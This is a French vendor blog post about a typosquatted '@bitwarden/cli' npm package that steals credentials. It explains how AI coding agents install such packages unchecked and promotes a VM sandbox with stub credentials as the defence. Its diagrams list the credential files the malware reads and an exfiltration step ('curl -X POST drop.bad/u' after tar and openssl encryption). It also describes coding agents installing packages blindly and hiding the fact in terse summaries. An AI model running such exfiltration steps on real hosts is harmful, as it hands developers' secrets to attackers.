Retour à tous les articles
Publié le · par Renaud Deraison

Votre agent de codage a installé le faux Bitwarden

Le 22 avril, quelqu'un a publié sur npm un paquet malveillant nommé @bitwarden/[email protected] — un typosquat qui aspirait clés SSH, credentials AWS/Azure/GCP, jetons GitHub, jetons de publication npm et kubeconfigs sur toute machine qui l'exécutait. Ce dont il se nourrit est exactement ce que les agents de codage modernes font sans réfléchir : installer ce que npm leur renvoie. Voici à quoi ressemble cette chaîne, et ce qui change quand l'agent tourne dans une VM Bromure plutôt que sur votre portable.

La semaine dernière, quelqu'un a publié sur npm un paquet nommé @bitwarden/[email protected]. Le vrai Bitwarden CLI va bien. Le faux était un typosquat avec un script post-install qui lisait les clés SSH du développeur, ses credentials AWS, son jeton npm et sa kubeconfig, et POSTait le bundle vers un serveur dans l'espace IP loué de quelqu'un. Il y a une blague enfouie là-dedans — un faux gestionnaire de mots de passe dont le vrai métier est le vol de credentials — mais l'observation plus utile est que les gens les plus susceptibles, en 2026, de taper npm install @bitwarden/cli ne sont plus des développeurs humains. Ce sont des agents de codage qui installent ce que le gestionnaire de paquets leur renvoie.

Bon. Voici l'actu, en trois phrases.

Le 22 avril 2026, quelqu'un a publié sur npm un paquet sous le nom de @bitwarden/[email protected]. Selon l'analyse d'Unit 42, le paquet était un typosquat attribué à un groupe se faisant appeler TeamPCP — la même équipe que Datadog avait reliée à la compromission du paquet PyPI LiteLLM trois semaines plus tôt — et son script post-install ratissait l'hôte à la recherche de credentials AWS, Azure et GCP, de jetons de publication npm, de jetons GitHub, de clés SSH et de kubeconfigs, les empaquetait, et les expédiait vers l'infrastructure de l'attaquant. OX Security, qui replace le même incident dans un contexte plus large, l'a appelé la troisième venue de Shai-Hulud — la dernière entrée d'un ver auto-réplicant de la chaîne d'approvisionnement qui, depuis septembre 2025, a dévoré des milliers de paquets npm sans donner aucun signe d'essoufflement.

La blague, que je veux évacuer avant de parler de quoi faire, c'est que la fausse Bitwarden CLI fait, en un certain sens, exactement ce qu'une Bitwarden CLI est censée faire. Son métier est de connaître beaucoup de credentials. Les credentials en question n'étaient juste pas ceux pour lesquels l'utilisateur s'était inscrit. Bref. L'attaque elle-même est mécaniquement sans intérêt. Ce qui est intéressant, et ce qui rend cet incident digne d'un billet, c'est qui va l'installer.

Un paquet que plus personne ne tape.

Une développeuse humaine qui veut la vraie Bitwarden CLI va en général sur bitwarden.com/help/cli, lit la doc, copie la commande d'installation depuis une page dont la chaîne de certificats TLS remonte à un éditeur qu'elle reconnaît, et la tape. Elle peut se tromper, bien sûr — c'est tout le principe du typosquatting — mais il faut qu'elle soit pressée, dans le noir, et malchanceuse.

Les agents de codage ne sont ni pressés, ni dans le noir, ni malchanceux. Ils sont quelque chose de pire : confiants et faux, à la vitesse machine. Vous demandez à Claude Code de « brancher Bitwarden pour que le script de déploiement puisse récupérer la clé API depuis le coffre », et le modèle — qui a lu un million de billets disant npm install -g @bitwarden/cli — tape npm install -g @bitwarden/cli. Le gestionnaire de paquets renvoie un paquet appelé @bitwarden/cli. Aucun humain dans la boucle ne vérifie le champ publisher. Il n'y a pas de chaîne de certificats bitwarden.com à inspecter, parce que c'est npm qui est la chaîne de certificats. Il n'y a, en fait, aucune raison pour que l'agent n'exécute pas le script post-install livré avec le paquet, parce que c'est ce que les paquets npm font.

PORTABLE DÉV — système de fichiers de l'hôte visible par tout ce que l'agent lanceAGENT DE CODAGE$ claude> brancher bitwarden clitool: bashnpm i -g @bitwarden/cliREGISTRE npm@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yesLE POST-INSTALL LIT L'HÔTE~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/droptout est réel, tout est lisibleATTAQUANTil a toutabsolument toutexfilCE QUE L'AGENT N'A JAMAIS VUUn paquet appelé @bitwarden/cli a, par spec, le droit de lire le répertoire personnel et d'appeler une URL.Rien dans cette chaîne n'est une vulnérabilité dans npm ou Node. C'est le contrat documenté.
Ce à quoi ressemble la chaîne sur un portable de développement normal, où c'est l'agent qui tape. L'agent demande `@bitwarden/cli`. Le registre renvoie le typosquat. Le script post-install lit ~/.aws, ~/.ssh, ~/.npmrc, $GH_TOKEN, ~/.kube/config — c'est-à-dire tout ce à quoi l'agent avait besoin d'accéder pour être utile au départ — et POSTe le tout vers l'infrastructure de l'attaquant. Rien d'exotique là-dedans ; c'est le comportement documenté des hooks post-install de npm, appliqué à un paquet que l'humain n'allait jamais inspecter.

Ce qu'il faut remarquer dans cette image, c'est qu'aucune partie n'est un bug. Les paquets npm ont le droit d'embarquer des scripts postinstall. Ces scripts tournent avec les mêmes privilèges que l'utilisateur qui invoque npm. Un script qui tourne en tant que l'utilisateur peut lire tout ce que l'utilisateur peut lire. Cela inclut — et c'est la partie qui devient un problème quand c'est un agent qui tape — ~/.ssh/id_ed25519, ~/.aws/credentials, le jeton de publication npm dans ~/.npmrc qui vous permet de republier d'autres paquets, le jeton GitHub assis dans votre shell, la kubeconfig qui vous laisse faire kubectl exec en production. Vous n'avez pas mis tout ça là pour l'agent. Vous l'avez mis là pour vous. L'agent utilise maintenant vos mains.

C'est le passage où, si j'essayais de vous vendre le même problème en 2018, je dirais maintenant « et donc utilisez un sandbox. » Et vous diriez, à juste titre : « j'en ai entendu parler des sandbox. » Et nous irions tous les deux prendre un café. La raison pour laquelle j'écris ce billet en 2026, c'est que le sandbox qui transforme réellement le scénario @bitwarden/cli en non-événement a une forme légèrement différente de celui qu'on nous propose depuis dix ans, et la différence est tout l'enjeu.

La forme du vrai correctif.

Supposons que, au lieu de tourner sur votre Mac, l'agent de codage tourne dans une VM Linux qui ne partage que le dossier projet auquel vous l'avez pointé. Supposons que le ~/.aws/credentials de cette VM soit un stub — un fichier de credentials AWS syntaxiquement valide qui ne contient rien de réel — et idem pour ~/.npmrc, $GH_TOKEN, et le reste. Supposons que la VM n'ait pas du tout de ~/.ssh/id_ed25519, juste un socket ssh-agent forwardé dont les clés se trouvent dans le trousseau macOS, du côté hôte de la frontière. Supposons enfin qu'il y ait sur l'hôte un petit proxy qui reconnaisse ces stubs au fil et les remplace par les vrais — mais seulement sur des endpoints whitelistés, et seulement au moment où une requête quitte effectivement l'hyperviseur.

Lancez maintenant le script post-install de @bitwarden/cli dans cette VM. Il fait exactement ce qu'il faisait avant. Il lit ~/.aws/credentials. Il lit ~/.npmrc. Il lit $GH_TOKEN. Il lit même le contenu du fichier socket ssh-agent — un socket de domaine Unix qui fait zéro octet. Il empaquette tout ça, le chiffre avec sa clé RSA-4096 codée en dur, et le POSTe vers son serveur de drop.

Le serveur de drop reçoit un bundle cryptographiquement parfaitement authentique de placeholders.

VM BROMURE (invité Linux) — ce que le script post-install peut voirAGENT DE CODAGE$ claude> brancher bitwardentool: bashnpm i -g @bw/cli↳ postinstall tourneFS & ENV — stubs uniquement~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → trousseau hôteTENTATIVE D'EXFILtar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/upayload : stubs chiffrés, mais stubsHYPERVISEUR — proxy courtier de credentialsHÔTE macOS — les vrais secrets, jamais passés de l'autre côtéVRAI COFFRE DE CREDENTIALStrousseau macOSid_ed25519 (privée)~/.aws/credentialsAKIA… (réel)~/.config/gh/hosts.ymlghp_real…~/.kube/configbearer prod (réel)~/.npmrcnpm_… (publish réel)PROXY — substitue le vrai au stub à la sortiegit push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 re-signé)drop.bad/u : pas dans la whitelist ⇒ stub reste stubles stubs sortent, pas de match proxyLa requête d'exfil a le droit de partir. Il n'y a juste rien d'utile à l'intérieur.
La même chaîne dans une VM Bromure. L'agent lance la même installation. Le script post-install fait le même balayage. Les credentials qu'il trouve dans ~/.aws, ~/.npmrc et $GH_TOKEN sont des stubs avec lesquels la VM allait toujours être livrée. Il n'y a pas de clé SSH sur le disque parce qu'il n'y a pas de clé SSH sur le disque ; il y a un socket ssh-agent forwardé dont le matériel cryptographique réel vit dans le trousseau macOS, de l'autre côté de l'hyperviseur. Le POST d'exfiltration sort, chiffré, avec des placeholders à l'intérieur.

Il y a deux subtilités dans cette image qui méritent qu'on ralentisse, parce que ce sont elles qui font la différence entre ce design et un conteneur.

La première, c'est que le proxy est sortant, whitelisté, et au fil. Ce n'est pas un sidecar dans la VM. La VM n'a jamais le vrai jeton GitHub sous une forme atteignable. Pas de variable d'environnement à dumper, pas de fichier à lire, pas de page mémoire à scraper. Quand l'agent lance git push, la requête quitte la VM avec le stub dans l'en-tête Authorization ; le proxy sur l'hôte reconnaît le stub, glisse votre vrai ghp_…, fait suivre la requête, et fait suivre la réponse en retour. Quand le malware lance curl -X POST drop.bad/u, le proxy regarde drop.bad, ne trouve rien dans sa whitelist, et soit jette la requête, soit — selon la politique de sortie de la VM — la fait suivre telle quelle, avec quelque stub que le malware ait récupéré. Dans tous les cas, le credential réel est du mauvais côté de la frontière au seul moment où le malware regardait.

La seconde, c'est que la clé SSH n'est, en aucun sens, dans la VM. ssh-agent tourne sur macOS. Les clés privées de l'agent vivent dans le trousseau macOS. Bromure forwarde le socket de l'agent — comme OpenSSH le fait depuis les années 90, et pour la même raison — dans la VM. À l'intérieur de la VM, ssh et git fonctionnent comme d'habitude ; l'opération de signature sous-jacente se passe sur l'hôte, là où le malware qui tourne dans la VM ne peut pas la voir. Un paquet qui fait cat ~/.ssh/id_ed25519 reçoit No such file or directory et rentre chez lui.

Pourquoi un conteneur ne vous y emmène pas.

Bon. L'objection à ce stade — et elle est légitime — c'est « OK, mais ça fait dix ans qu'on a Docker, on peut faire tourner un agent dans un conteneur, ça ne suffit pas ? » Ça suffirait, à part deux raisons ennuyeuses.

La première, c'est que pour rendre un conteneur utile pour les choses qu'un agent de codage fait vraiment — git push, gh pr create, aws s3 cp, npm publish, kubectl exec —, vous finissez par monter ~/.ssh, ~/.aws/credentials, ~/.npmrc, et votre jeton GitHub dans le conteneur. À ce moment-là, le script post-install fait cat ~/.ssh/id_ed25519 et obtient le vrai fichier. Les conteneurs n'ont pas de courtier de credentials ; ils ont un bind mount. Le bind mount est exactement le ventre mou que le malware cherchait.

La seconde, c'est que sur macOS le conteneur tourne de toute façon dans une VM Linux cachée. Docker Desktop en livre une ; OrbStack en livre une ; Colima en livre une. Vous payez déjà le coût de la VM — le disque, la mémoire, le temps de boot. L'argument pour un conteneur, sur macOS, en 2026, n'est pas « c'est plus léger ». C'est juste « c'est ce dont j'ai l'habitude ». Bromure coupe la couche intermédiaire. Il y a une seule VM. Elle est visible. Elle est à vous. Le courtier de credentials et le forwarding ssh-agent sont les pièces que le modèle conteneur n'a jamais su raconter.

Ce que la trace attrape et que vous n'alliez pas lire.

L'autre chose à dire à propos d'un agent qui installe quelque chose que personne n'a demandé, c'est que très souvent personne ne s'en est rendu compte. L'agent lance npm install, l'agent reçoit un mur de logs, l'agent résume « j'ai installé Bitwarden CLI et je l'ai configuré » en une phrase dans le chat, et vous scrollez. Le script post-install a tourné au milieu de ce mur. Vous n'avez pas lu le mur. Personne ne lit le mur.

Le tracer de session de Bromure capture le mur — chaque prompt, chaque appel d'outil, chaque commande shell, chaque écriture de fichier, chaque code de sortie — et vous laisse y revenir une fois la session terminée. « Trouve chaque npm install que l'agent a lancé aujourd'hui » est un grep. « L'agent a-t-il lancé un outil qui a écrit en dehors du dossier projet » est un grep. Quand le prochain @bitwarden/[email protected] débarquera — et il débarquera — la trace vous dit quelles sessions y ont touché et quels dossiers projet étaient montés à ce moment-là. Vous n'avez pas à reconstituer de mémoire ou depuis un scrollback partiel. La session est le journal d'audit.

Ce que ça attrape

Un agent de codage qui installe @bitwarden/cli (ou litellm, ou axios, ou le suivant) dans une VM Bromure trouve, quand il ratisse les credentials, un répertoire SSH vide et un trousseau de stubs. Le script post-install tourne. Le POST d'exfil sort. Le bundle est un placeholder. Le rayon d'impact est la VM.

Ce que le reset transforme en non-événement

Si le malware fait quoi que ce soit au-delà du vol de credentials — persistance dans crontab, ~/.bashrc empoisonné, équivalent launchd dans l'invité —, rien de tout ça ne survit au prochain bromure reset. Vous n'avez pas à trouver la persistance ; vous avez à la jeter. Trois secondes, kernel neuf, vous continuez à coder.

Ce que ça n'attrape pas

Un paquet qui appelle un vrai backend que vous avez whitelisté — disons un paquet qui utilise votre vrai jeton GitHub pour supprimer vos propres dépôts — récupère le vrai jeton au fil, par design, parce que c'est comme ça que git push marche. La défense, c'est une petite whitelist de sortie et une trace de session, pas l'omniscience. Les dégâts dans le dossier projet restent dans le dossier projet.

Ce qui demande encore un humain

Rien chez Bromure n'empêche un agent de codage de se laisser convaincre de committer du mauvais code. La frontière protège les credentials sur votre machine ; elle ne relit pas le diff. Lisez le diff. La trace facilite le fait de savoir quels diffs lire.

Une dernière chose.

Il existe une version de cette histoire où je vous dirais que la leçon, c'est « auditez vos dépendances ». Il existe aussi une version où la leçon, c'est « arrêtez d'utiliser npm ». Les deux versions existent, les deux sont en partie justes, et aucune ne se produira dans votre équipe ce trimestre.

La version qui va effectivement se produire dans votre équipe ce trimestre, c'est que l'agent va installer quelque chose qu'il n'aurait pas dû, parce que l'agent installe beaucoup de choses, et que quelque part dans la longue traîne de ce qu'il installe, il y en aura un que quelqu'un se faisant appeler TeamPCP ou Shai-Hulud ou comme se nommera le groupe suivant aura uploadé mercredi dernier. La question, c'est juste : quand ça arrive, le script post-install trouve-t-il les secrets, ou trouve-t-il un mur ?

Bromure Agentic Coding est ce mur. Il est aussi gratuit, open source, et livré dès aujourd'hui. À vous de jouer.